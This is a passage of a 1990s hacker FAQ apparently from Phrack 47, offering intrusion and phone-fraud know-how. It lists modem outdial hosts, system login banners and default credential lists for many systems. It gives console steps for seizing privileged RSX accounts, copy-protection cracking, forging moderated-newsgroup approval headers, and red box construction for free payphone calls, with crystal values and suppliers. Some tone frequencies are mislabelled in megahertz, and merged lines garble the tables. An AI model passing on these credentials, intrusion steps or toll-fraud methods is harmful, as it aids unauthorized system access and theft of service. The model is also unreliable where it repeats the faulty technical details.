402 dialin.creighton.edu

402 modem.criegthon.edu

404 broadband.cc.emory.edu ".modem8" or ".dialout" 408 dialout.scu.edu

408 dialout1200.scu.edu

408 dialout2400.scu.edu

408 dialout9600.scu.edu

413 dialout.smith.edu

414 modems.uwp.edu

416 annex132.berkely.edu atdt 9,,,,, xxx‑xxxx 416 pacx.utcs.utoronto.ca modem

503 dialout.uvm.edu

513 dialout24.afit.af.mil

513 r596adi1.uc.edu

514 pacx.CC.UMontreal.CA externe#9 9xxx‑xxxx 517 engdial.cl.msu.edu

602 dial9600.telcom.arizona.edu

603 dialout1200.unh.edu

604 dial24‑nc00.net.ubc.ca

604 dial24‑nc01.net.ubc.ca

604 dial96‑np65.net.ubc.ca

604 gmodem.capcollege.bc.ca

604 hmodem.capcollege.bc.ca

609 128.119.131.11X (X= 1 ‑ 4) Hayes

609 129.119.131.11x (x = 1 to 4)

609 wright‑modem‑1.rutgers.edu

609 wright‑modem‑2.rutgers.edu

612 modem_out12e7.atk.com

612 modem_out24n8.atk.com

614 ns2400.ircc.ohio‑state.edu "dial"

615 dca.utk.edu dial2400 D 99k #

615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx 616 modem.calvin.edu

617 128.52.30.3 2400baud

617 dialout.lcs.mit.edu

617 dialout1.princeton.edu

617 isdn3.Princeton.EDU

617 jadwingymkip0.Princeton.EDU

617 lord‑stanley.Princeton.EDU

617 mpanus.Princeton.EDU

617 mrmodem.wellesley.edu

617 old‑dialout.Princeton.EDU

617 stagger.Princeton.EDU

617 sunshine‑02.lcs.mit.edu

617 waddle.Princeton.EDU

619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout"

703 modem_pool.runet.edu

703 wal‑3000.cns.vt.edu

713 128.249.27.154 "c modem96" "atdt 9xxx‑xxxx"

or "Hayes"

713 modem12.bcm.tmc.edu

713 modem24.bcm.tmc.edu

713 modem24.bcm.tmc.edu

714 mdmsrv7.sdsu.edu atdt 8xxx‑xxxx

714 modem24.nts.uci.edu

714 pub‑gopher.cwis.uci.edu

801 dswitch.byu.edu "C Modem"

808 irmodem.ifa.hawaii.edu

902 star.ccs.tuns.ca "dialout"

916 129.137.33.72

916 cc‑dnet.ucdavis.edu connect hayes/dialout 916 engr‑dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret> ??? 128.119.131.11X (1 ‑ 4)

??? 128.200.142.5

??? 128.54.30.1 nue, X to discontinue, ? for Help ??? 128.6.1.41

??? 128.6.1.42

??? 129.137.33.72

??? 129.180.1.57

??? 140.112.3.2 ntu <none> ??? annexdial.rz.uni‑duesseldorf.de

??? dial96.ncl.ac.uk

??? dialout.plk.af.mil

??? ee21.ee.ncu.edu.tw cs8005

??? im.mgt.ncu.edu.tw guest <none> ??? modem.cis.uflu.edu

??? modem.ireq.hydro.qc.ca

??? modems.csuohio.edu

??? sparc20.ncu.edu.tw u349633

??? sun2cc.nccu.edu.tw ?

??? ts‑modem.une.oz.au

??? twncu865.ncu.edu.tw guest <none> ??? vtnet1.cns.ut.edu "CALL" or "call"

Conclusion

‑‑‑‑‑‑‑‑‑‑

If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun...

[Editors note: Updates have been made to this document after the original publication]

20. What is this system?

AIX

~~~

IBM AIX Version 3 for RISC System/6000

(C) Copyrights by IBM and by others 1982, 1990.

login:

[You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen]

AS/400

~~~~~~

UserID?

Password?

Once in, type GO MAIN

CDC Cyber

~~~~~~~~~

WELCOME TO THE NOS SOFTWARE SYSTEM.

COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100

CSUS CYBER 170‑730. NOS 2.5.2‑678/3. FAMILY:

You would normally just hit return at the family prompt. Next prompt is:

USER NAME:

CISCO Router

~~~~~~~~~~~~

FIRST BANK OF TNO 95‑866 TNO VirtualBank REMOTE Router ‑ TN043R1

Console Port

SN ‑ 00000866

TN043R1>

DECserver

~~~~~~~~~

DECserver 700‑08 Communications Server V1.1 (BL44G‑11A) ‑ LAT V5.1 DPS502‑DS700

(c) Copyright 1992, Digital Equipment Corporation ‑ All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE‑XL

~~~~~~~~~~~~~~~~~~~~~~

MPE XL:

EXPECTED A :HELLO COMMAND. (CIERR 6057)

MPE XL:

EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)

MPE XL:

GTN

~~~

WELCOME TO CITIBANK. PLEASE SIGN ON.

XXXXXXXX

@

PASSWORD =

@

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

PLEASE ENTER YOUR ID:‑1‑>

PLEASE ENTER YOUR PASSWORD:‑2‑>

CITICORP (CITY NAME). KEY GHELP FOR HELP.

XXX.XXX

PLEASE SELECT SERVICE REQUIRED.‑3‑>

Lantronix Terminal Server

~~~~~~~~~~~~~~~~~~~~~~~~~

Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MMM MMMERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM

Copyright (c) Northern Telecom, 1991

Novell ONLAN

~~~~~~~~~~~~

N

[To access the systems it is best to own a copy of ONLAN/PC]

PC‑Anywhere

~~~~~~~~~~~

P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS

~~~~~~

PRIMENET 19.2.7F PPOA1

<any text>

ER!

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

CONNECT

Primenet V 2.3 (system)

LOGIN (you)

User id? (system)

SAPB5 (you)

Password? (system)

DROWSAP (you)

OK, (system)

ROLM‑OSL

~~~~~~~~

MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47

RELEASE 8003

OSL, PLEASE.

?

System75

~~~~~~~~

Login: root

INCORRECT LOGIN

Login: browse

Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops‑10

~~~~~~~

NIH Timesharing

NIH Tri‑SMP 7.02‑FF 16:30:04 TTY11

system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN

.

VM/370

~~~~~~

VM/370

!

VM/ESA

~~~~~~

VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER

(Your password will not appear when you type it)

USERID ===>

PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...

Annex username: TNO

Annex password:

Permission granted

annex:

21. What are the default accounts for XXX?

AIX

~~~

guest guest

AS/400

~~~~~~

qsecofr qsecofr /* master security officer */

qsysopr qsysopr /* system operator */

qpgmr qpgmr /* default programmer */

also

ibm/password

ibm/2222

ibm/service

qsecofr/1111111

qsecofr/2222222

qsvr/qsvr

secofr/secofr

DECserver

~~~~~~~~~

ACCESS

SYSTEM

Dynix (The library software, not the UnixOS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(Type 'later' to exit to the login prompt)

setup <no password>

library <no password>

circ <9 digit number>

Hewlett Packard MPE‑XL

~~~~~~~~~~~~~~~~~~~~~~

HELLO MANAGER.SYS

HELLO MGR.SYS

HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP

HELLO OP.OPERATOR

MGR CAROLIAN

MGR CCC

MGR CNAS

MGR CONV

MGR COGNOS

OPERATOR COGNOS

MANAGER COGNOS

OPERATOR DISC

MGR HPDESK

MGR HPWORD

FIELD HPWORD

MGR HPOFFICE

SPOOLMAN HPOFFICE

ADVMAIL HPOFFICE

MAIL HPOFFICE

WP HPOFFICE

MANAGER HPOFFICE

MGR HPONLY

FIELD HPP187

MGR HPP187

MGR HPP189

MGR HPP196

MGR INTX3

MGR ITF3000

MANAGER ITF3000

MAIL MAIL

MGR NETBASE

MGR REGO

MGR RJE

MGR ROBELLE

MANAGER SECURITY

MGR SECURITY

FIELD SERVICE

MANAGER SYS

MGR SYS

PCUSER SYS

RSBCMON SYS

OPERATOR SYS

OPERATOR SYSTEM

FIELD SUPPORT

OPERATOR SUPPORT

MANAGER TCH

MAIL TELESUP

MANAGER TELESUP

MGR TELESUP

SYS TELESUP

MGE VESOFT

MGE VESOFT

MGR WORD

MGR XLSERVER

Common jobs are Pub, Sys, Data

Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS

~~~~~~~~~

Sysop Sysop

Mitel PBX

~~~~~~~~~

SYSTEM

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

fax <no password>

PICK O/S

~~~~~~~~

DSA # Desquetop System Administrator

DS

DESQUETOP

PHANTOM

Prolog

~~~~~~

PBX PBX

NETWORK NETWORK

NETOP <null>

Rolm

~~~~

CBX Defaults

op op

op operator

su super

admin pwp

eng engineer

PhoneMail Defaults

sysadmin sysadmin

tech tech

poll tech

RSX

~~~

SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)

1,1/system (Directory [1,1] Password SYSTEM)

BATCH/BATCH

SYSTEM/MANAGER

USER/USER

Default accounts for Micro/RSX:

MICRO/RSX

Alternately you can hit <CTRL‑Z> when the boot sequence asks you for the date and create an account using:

RUN ACNT

or RUN $ACNT

(Numbers below 10 {oct} are Priveleged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

type " run $acnt" and change the password of any account with a group number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system, just after a invalid date‑time. Look for a user mode PSW 1[4‑7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured.

SGI Irix

~~~~~~~~

4DGifts <no password>

guest <no password>

demos <no password>

lp <no password>

nuucp <no password>

tour <no password>

tutor <no password>

System 75

~~~~~~~~~

bcim bcimpw

bciim bciimpw

bcms bcmspw, bcms

bcnas bcnspw

blue bluepw

browse looker, browsepw

craft crftpw, craftpw, crack

cust custpw

enquiry enquirypw

field support

inads indspw, inadspw, inads

init initpw

kraft kraftpw

locate locatepw

maint maintpw, rwmaint

nms nmspw

rcust rcustpw

support supportpw

tech field

Taco Bell

~~~~~~~~~

rgm rollout

tacobell <null>

Verifone Junior 2.05

~~~~~~~~~~~~~~~~~~~~

Default password: 166816

VMS

~~~

field service

systest utep

XON / XON Junior

~~~~~~~~~~~~~~~~

Default password: 166831

22. What port is XXX on?

The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

23. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans.

Virus:

A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself.

24. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner. Among the best are F‑Prot, Dr. Solomon's Anti‑virus Toolkit, and Thunderbyte Anti‑Virus. AVP is also a good proggie. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behaviour blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof.

You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done.

The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorised by you. Make freqent backups of all important files. Keep your DOS system files write protected. Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti‑virus product if you aren't sure of what you are doing. If the company you got your anti‑virus software from does not have a good technical support department, change companies.

The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool.

25. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly lanaguage programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus‑l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get ‑rid‑ of a virus.

There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus‑l FAQ. The FTP site ftp.informatik.uni‑hamburg.de is a pretty reliable site for proggies and text.

26. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics

by Deborah Russell

and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.

27. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide

Volume I: Essential Topics

by Philip Zimmermann

PGP(tm) uses public‑key encryption to protect E‑mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS‑DOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest‑Shamir‑Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public‑key functions faster than most other software implementations. PGP is public key cryptography for the masses.

28. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance Technology.

Computers and other electronic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electronic equipment to attempt to pick up and decipher the emanations from her video monitor.

Our competitor, however, could shield the emanations from her equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping.

29. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to send e‑mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer.

30. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi, operated by Johan Helsingus. To obtain an anonymous ID, mail ping@anon.penet.fi. For assistance is obtaining an anonymous account at penet, mail help@anon.penet.fi.

To see a list on anonymous remailers, finger remailer‑list@kiwi.cs.berkeley.edu.

31. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.

Writing a patch requires a debugger, such as Soft‑Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.

32. What is 127.0.0.1?

127.0.0.1 is a loopback network connection. If you telnet, ftp, etc... to it you are connected to your own machine.

33. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The message header tells the news software how to process the message. Headers can be divided into two types, required and optional. Required headers are ones like "From" and "Newsgroups." Without the required headers, your message will not be posted properly.

One of the optional headers is the "Approved" header. To post to a moderated newsgroup, simply add an Approved header line to your message header. The header line should contain the newsgroup moderators e‑mail address. To see the correct format for your target newsgroup, save a message from the newsgroup and then look at it using any text editor.

A "Approved" header line should look like this:

Approved: will@gnu.ai.mit.edu

There cannot not be a blank line in the message header. A blank line will cause any portion of the header after the blank line to be interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of USENET messages.

Section B: Telephony

~~~~~~~~~~~~~~~~~~~~

01. What is a Red Box?

When a coin is inserted into a payphone, the payphone emits a set of tones to ACTS (Automated Coin Toll System). Red boxes work by fooling ACTS into believing you have actually put money into the phone. The red box simply plays the ACTS tones into the telephone microphone. ACTS hears those tones, and allows you to place your call. The actual tones are:

Nickel Signal 1700+2200 0.060s on

Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components.

To make a Red Box from a Radio Shack 43‑141 or 43‑146 tone dialer, open the dialer and replace the crystal with a new one.

The purpose of the new crystal is to cause the * button on your tone dialer to create a 1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz tones. The exact value of the replacement crystal should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz tone. A crystal close to those values will create a tone that easily falls within the loose tolerances of ACTS. The most popular choice is the 6.5536Mhz crystal, because it is the eaiest to procure. The old crystal is the large shiny metal component labeled "3.579545Mhz." When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store. Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are:

Digi‑Key

701 Brooks Avenue South

P.O. Box 677

Thief River Falls, MN 56701‑0677

(80)344‑4539

Part Number:X415‑ND /* Note: 6.500Mhz and only .197 x .433 x .149! */

Part Number:X018‑ND

JDR Microdevices:

2233 Branham Lane

San Jose, CA 95124

(800)538‑5000

Part Number: 6.5536MHZ

Tandy Express Order Marketing

401 NE 38th Street

Fort Worth, TX 76106

(800)241‑8742

Part Number: 10068625

Alltronics

2300 Zanker Road

San Jose CA 95131

(408)943‑9774 Voice

(408)943‑9776 Fax

(408)943‑0622 BBS

Part Number: 92A057

04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones).

Red boxes work by fooling ACTS (Automated Coin Toll System) into believing you have put money into the pay phone. ACTS is the telephone company software responsible for saying "Please deposit XX cents" and listening for the coins being deposited.

COCOT's do not use ACTS. On a COCOT, the pay phone itself is responsible for determining what coins have been inserted.

05. How do I make local calls with a Red Box?

Payphones do not use ACTS for local calls. To use your red box for local calls, you have to fool ACTS into getting involved in the call.

One way to do this, in some areas, is by dialing 10288‑xxx‑xxxx. This makes your call a long distance call, and brings ACTS into the picture.

In other areas, you can call Directory Assistance and ask for the number of the person you are trying to reach. The operator will give you the number and then you will hear a message similar to "Your call can be completed automatically for an additional 35 cents." When this happens, you can then use ACTS tones.

06. What is a Blue Box?

Blue boxes use a 2600hz tone to size control of telephone switches that use in‑band signalling. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the tones provided by the Blue Box.

07. Do Blue Boxes still work?

Blue Boxes still work in areas using in band signalling. Modern phone switches use out of band signalling. Nothing you send over the voice portion of bandwidth can control the switch. If you are in an area served by a switch using out of band signalling, you can still blue box by calling through an area served by older in‑band equipment.

08. What is a Black Box?

A Black Box is a 1.8k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call. Black boxes do not work under ESS.

09. What do all the colored boxes do?

Acrylic Steal Three‑Way‑Calling, Call Waiting and programmable Call Forwarding on old 4‑wire phone systems

Aqua Drain the voltage of the FBI lock‑in‑trace/trap‑trace Beige Lineman's hand set

Black Allows the calling party to not be billed for the call placed

Blast Phone microphone amplifier

Blotto Supposedly shorts every fone out in the immediate area Blue Emulate a true operator by seizing a trunk with a 2600hz tone

Brown Create a party line from 2 phone lines

Bud Tap into your neighbors phone line

Chartreuse Use the electricity from your phone line

Cheese Connect two phones to create a diverter

Chrome Manipulate Traffic Signals by Remote Control

Clear A telephone pickup coil and a small amp used to make free calls on Fortress Phones

Color Line activated telephone recorder

Copper Cause crosstalk interference on an extender

Crimson Hold button

Dark Re‑route outgoing or incoming calls to another phone Dayglo Connect to your neighbors phone line

Divertor Re‑route outgoing or incoming calls to another phone DLOC Create a party line from 2 phone lines

Gold Dialout router

Green Emulate the Coin Collect, Coin Return, and Ringback tones Infinity Remotely activated phone tap

Jack Touch‑Tone key pad

Light In‑use light

Lunch AM transmitter

Magenta Connect a remote phone line to another remote phone line Mauve Phone tap without cutting into a line

Neon External microphone

Noise Create line noise

Olive External ringer

Party Create a party line from 2 phone lines

Pearl Tone generator

Pink Create a party line from 2 phone lines

Purple Telephone hold button

Rainbow Kill a trace by putting 120v into the phone line (joke) Razz Tap into your neighbors phone

Red Make free phone calls from pay phones by generating quarter tones

Rock Add music to your phone line

Scarlet Cause a neighbors phone line to have poor reception Silver Create the DTMF tones for A, B, C and D

Static Keep the voltage on a phone line high

Switch Add hold, indicator lights, conferencing, etc..

Tan Line activated telephone recorder

Tron Reverse the phase of power to your house, causing your electric meter to run slower

TV Cable "See" sound waves on your TV

Urine Create a capacitative disturbance between the ring and tip wires in another's telephone headset

Violet Keep a payphone from hanging up

White Portable DTMF keypad

Yellow Add an extension phone

Box schematics may be retrieved from these FTP sites:

ftp.netcom.com /pub/br/bradleym

ftp.netcom.com /pub/va/vandal

ftp.winternet.com /users/craigb

The #hack FAQ (Part 3)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 7 of 22

10. What is an ANAC number?

An ANAC (Automatic Number Announcement Circuit) number is a telephone number that plays back the number of the telephone that called it. ANAC numbers are convenient if you want to know the telephone number of a pair of wires.

11. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200‑222‑2222. If you find the ANAC number for your area, please let us know.

Note that many times the ANAC number will vary for different switches in the same city. The geographic naming on the list is NOT intended to be an accurate reference for coverage patterns, it is for convenience only.

Many companies operate 800 number services which will read back to you the number from which you are calling. Many of these require navigating a series of menus to get the phone number you are looking for.

(800)238‑4959 A voice mail system

(800)328‑2630 A phone sex line

(800)568‑3197 Info Access Telephone Company's Automated Blocking Line (800)571‑8859 A phone sex line

(800)692‑6447 (800)MY‑ANI‑IS

(800)769‑3766 Duke Power Company Automated Outage System (800)455‑3256 Unknown

An non‑800 ANAC that works nationwide is 404‑988‑9664. The one catch with this number is that it must be dialed with the AT&T Carrier Access Code 10732.

Another non‑800 nationwide ANAC is Glen Robert of Full Disclosure Magazine's number, 10555‑1‑708‑356‑9646.

Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers.

NPA ANAC number Geographic area

‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

201 958 Hackensack/Jersey City/Newark/Paterson, NJ 202 811 District of Columbia

203 970 CT

205 300‑222‑2222 Birmingham, AL

205 300‑555‑5555 Many small towns in AL

205 300‑648‑1111 Dora, AL

205 300‑765‑4321 Bessemer, AL

205 300‑798‑1111 Forestdale, AL

205 300‑833‑3333 Birmingham

205 557‑2311 Birmingham, AL

205 811 Pell City/Cropwell/Lincoln, AL

205 841‑1111 Tarrant, AL

205 908‑222‑2222 Birmingham, AL

206 411 WA (Not US West)

207 958 ME

209 830‑2121 Stockton, CA

209 211‑9779 Stockton, CA

212 958 Manhattan, NY

213 114 Los Angeles, CA (GTE)

213 1223 Los Angeles, CA (Some 1AESS switches) 213 211‑2345 Los Angeles, CA (English response) 213 211‑2346 Los Angeles, CA (DTMF response) 213 760‑2??? Los Angeles, CA (DMS switches)

213 61056 Los Angeles, CA

214 570 Dallas, TX

214 790 Dallas, TX (GTE)

214 970‑222‑2222 Dallas, TX

214 970‑611‑1111 Dallas, TX (Southwestern Bell)

215 410‑xxxx Philadelphia, PA

215 511 Philadelphia, PA

215 958 Philadelphia, PA

216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH 217 200‑xxx‑xxxx Champaign‑Urbana/Springfield, IL 219 550 Gary/Hammond/Michigan City/Southbend, IN 219 559 Gary/Hammond/Michigan City/Southbend, IN 301 958‑9968 Hagerstown/Rockville, MD

310 114 Long Beach, CA (On many GTE switches) 310 1223 Long Beach, CA (Some 1AESS switches) 310 211‑2345 Long Beach, CA (English response) 310 211‑2346 Long Beach, CA (DTMF response)

312 200 Chicago, IL

312 290 Chicago, IL

312 1‑200‑8825 Chicago, IL (Last four change rapidly) 312 1‑200‑555‑1212 Chicago, IL

313 200‑200‑2002 Ann Arbor/Dearborn/Detroit, MI

313 200‑222‑2222 Ann Arbor/Dearborn/Detroit, MI

313 200‑xxx‑xxxx Ann Arbor/Dearborn/Detroit, MI

313 200200200200200 Ann Arbor/Dearborn/Detroit, MI

314 410‑xxxx# Columbia/Jefferson City/St.Louis, MO 315 953 Syracuse/Utica, NY

315 958 Syracuse/Utica, NY

315 998 Syracuse/Utica, NY

317 310‑222‑2222 Indianapolis/Kokomo, IN

317 559‑222‑2222 Indianapolis/Kokomo, IN

317 743‑1218 Indianapolis/Kokomo, IN

401 200‑200‑4444 RI

401 222‑2222 RI

402 311 Lincoln, NE

404 311 Atlanta, GA

404 940‑xxx‑xxxx Atlanta, GA

404 990 Atlanta, GA

405 890‑7777777 Enid/Oklahoma City, OK

405 897 Enid/Oklahoma City, OK

407 200‑222‑2222 Orlando/West Palm Beach, FL

408 300‑xxx‑xxxx San Jose, CA

408 760 San Jose, CA

408 940 San Jose, CA

409 951 Beaumont/Galveston, TX

409 970‑xxxx Beaumont/Galveston, TX

410 200‑6969 A

410 200‑555‑1212 A

410 811 Annapolis/Baltimore, MD

412 711‑6633 Pittsburgh, PA

412 711‑4411 Pittsburgh, PA

412 999‑xxxx Pittsburgh, PA

413 958 Pittsfield/Springfield, MA

413 200‑555‑5555 Pittsfield/Springfield, MA

414 330‑2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI 415 200‑555‑1212 San Francisco, CA

415 211‑2111 San Francisco, CA

415 2222 San Francisco, CA

415 640 San Francisco, CA

